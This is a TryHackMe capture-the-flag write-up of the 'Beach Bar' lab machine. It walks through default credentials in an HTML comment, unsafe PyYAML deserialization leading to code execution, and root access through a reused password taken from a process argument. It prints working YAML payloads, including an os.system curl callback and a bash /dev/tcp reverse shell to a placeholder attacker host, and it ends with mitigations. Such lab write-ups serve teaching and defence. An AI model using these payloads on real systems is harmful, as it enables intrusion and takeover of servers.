close
Skip to main content

Command Palette

Search for a command to run...

TryHackMe : Beach Bar Writeup

Updated
7 min readView as Markdown
TryHackMe : Beach Bar Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

TL;DR

Beach Bar is a Flask-based "DJ booth" web app for a beach bar jukebox. Default demo credentials (dj/dj) left enabled in an HTML comment get you into the dashboard, which exposes a YAML playlist export/import feature. The import endpoint calls yaml.load() with the full (unsafe) Loader instead of safe_load, which allows arbitrary Python object construction — and from there, arbitrary command execution via os.system. That gets a reverse shell as bartender. A leftover --stream-pass argument visible in the process list turns out to be a reused root password, giving a clean path to full compromise via su root.

User flag: THM{[REDACTED]} Root flag: THM{[REDACTED]}


1. Recon

$ nmap -A -Pn <TARGET_IP> -o nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn
| http-title: Beach Bar // Sign in
|_Requested resource was /login
|_http-server-header: gunicorn

Two open ports: SSH and an HTTP app fronted by Gunicorn, redirecting to /login. Gunicorn + a /login redirect + no other stack hints yet — this smelled like Flask from the start, confirmed later by the session cookie.

2. Initial access — default creds in an HTML comment

$ curl -L http://<TARGET_IP>
...
<!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
-->
<form method="post">
  <input type="text" id="username" name="username">
  <input type="password" id="password" name="password">
</form>

A staff note left in the page source hands over demo credentials directly: dj / dj.

$ curl -L -c cookies.txt http://<TARGET_IP>/login -d 'username=dj&password=dj'

Logged in as dj, landing on a "DJ booth" dashboard with /dashboard, /import, /export, and /logout links. The session cookie itself is a tell:

$ cat cookies.txt
session eyJ1c2VyIjoiZGoifQ.anFasg.OtavUIDXbkEQjqjuMSAZ-vaMu2E

eyJ1c2VyIjoiZGoifQ base64-decodes to {"user":"dj"} — the standard payload.timestamp.signature shape of a Flask itsdangerous-signed session cookie. Confirms Flask before ever touching source code.

3. Finding the sink — playlist export/import

$ curl -b cookies.txt http://<TARGET_IP>/export
# Beach Bar jukebox playlist export
playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien
    ...

/export dumps the current playlist straight from yaml.dump(). The matching /import page invites you to paste that YAML back in — the classic export/import-round-trip pattern that's worth checking for unsafe deserialization on the way back in.

$ curl -b cookies.txt http://<TARGET_IP>/import
...
<form method="post" enctype="multipart/form-data">
  <textarea id="playlist" name="playlist" ...></textarea>
  <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
</form>

Two intake fields: playlist (raw YAML text) and playlist_file (file upload), posted as multipart/form-data.

4. Confirming unsafe YAML deserialization

Sent a harmless !!python/object tag — not a command-execution payload, just enough to see whether the loader would even attempt to construct a Python object from the tag:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/new:str {state: [pwn]}'
<h2>Loader error</h2>
<pre>Could not load playlist: dictionary update sequence element #0 has length 3; 2 is required</pre>

That error comes from inside Python's object-construction logic, not from a "no constructor for this tag" rejection — meaning the app is not on yaml.safe_load(). It's happily trying to instantiate arbitrary Python objects from user-supplied YAML.

5. RCE

Confirmed with a blind OOB callback via os.system:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/apply:os.system ["curl http://<ATTACKER_IP>:4444/rce"]'
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 56058
GET /rce HTTP/1.1

Confirmed RCE. Escalated straight to a reverse shell:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/apply:os.system ["bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\""]'
$ penelope -p 4444 listen
[+] [New Reverse Shell] => 10.49.149.75 Linux-x86_64 bartender(1001)
bartender@tryhackme-2404:/opt/beach-bar/webapp$ whoami
bartender

Landed as bartender (uid 1001), running out of /opt/beach-bar/webapp — confirmed by later grepping the source that this is exactly what happened:

$ grep -rn "yaml.load\|exec\|subprocess\|os.system" /opt/beach-bar/webapp/
/opt/beach-bar/webapp/app.py:4:import yaml
/opt/beach-bar/webapp/app.py:95:            parsed = yaml.load(content, Loader=yaml.Loader)

yaml.load(content, Loader=yaml.Loader) — the full, unsafe loader, exactly as suspected from the error message.

$ cat /home/bartender/user.txt
THM{[REDACTED]}

6. Privilege escalation — password reuse from a process argument

sudo -l failed (no password known yet), SUID/SGID enumeration and cron jobs turned up nothing exploitable. LinPEAS's process listing was the lead:

root  612  ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k

A streaming daemon running as root with its password passed as a CLI argument — visible to any local user via ps aux or /proc/<pid>/cmdline. Worth trying that same password for the actual root account, since ops teams reusing a "throwaway" service password for real accounts is a common pattern:

bartender@tryhackme-2404:/tmp$ su root
Password: SunsetSpritz2024!
root@tryhackme-2404:/tmp# whoami
root
root@tryhackme-2404:/tmp# cat /root/root.txt
THM{[REDACTED]}

Root, via straightforward credential reuse.

7. Bonus finding (out of scope of the intended path, but notable)

LinPEAS's cloud enumeration section pulled live AWS EC2 instance-profile credentials off the IMDS endpoint (role vulnerable-machine, temporary AccessKeyId/SecretAccessKey/session token). Worth flagging in a real engagement as a separate SSRF/IMDS-exposure finding even though it wasn't needed to reach root here — anything with local code execution on this box inherits whatever that IAM role can do in the account.


Key vulnerabilities

# Weakness Detail
1 Hardcoded/leftover default credentials dj/dj demo login left enabled and documented in an HTML comment.
2 Insecure deserialization /import calls yaml.load(content, Loader=yaml.Loader) instead of yaml.safe_load(), allowing arbitrary Python object construction from user-supplied YAML → RCE via !!python/object/apply:os.system.
3 Secrets in process arguments Root-owned jukeboxd.py service started with --stream-pass SunsetSpritz2024!, readable by any local user via ps//proc.
4 Password reuse The leaked service password was also the root account password.
5 (Bonus) IMDS credential exposure LinPEAS retrieved live IAM role credentials from the EC2 metadata service once on-box — no IMDSv2 token hop required in this environment.

Attack chain

HTML comment leaks demo creds (dj/dj)
        │
        ▼
Login → dashboard exposes /export + /import (YAML round-trip)
        │
        ▼
/import → yaml.load(Loader=yaml.Loader)  (confirmed via object-construction error)
        │
        ▼
!!python/object/apply:os.system [...]  →  RCE as bartender
        │
        ▼
ps aux reveals root process arg: --stream-pass SunsetSpritz2024!
        │
        ▼
su root (password reuse)  →  root

Mitigations

  • Never ship demo/default credentials, even for a "soft opening" — remove the account or gate it behind a feature flag that can't reach production.
  • Use yaml.safe_load() (or yaml.SafeLoader) for any YAML originating from user input. If custom types are genuinely needed, use a restricted loader with an explicit allowlist of constructors — never the default full Loader.
  • Never pass secrets as CLI arguments to long-running services; use environment variables sourced from a secrets manager, or a file with restrictive permissions instead — ps//proc/<pid>/cmdline are world readable by default on Linux.
  • Enforce unique, non-reused credentials between service accounts and privileged human accounts (e.g. via a password manager + rotation policy), so a leaked service secret doesn't double as a root password.
  • Enforce IMDSv2 (token-required) on the EC2 instance and scope the attached IAM role to least privilege, so a foothold on the box doesn't automatically hand over cloud-level credentials.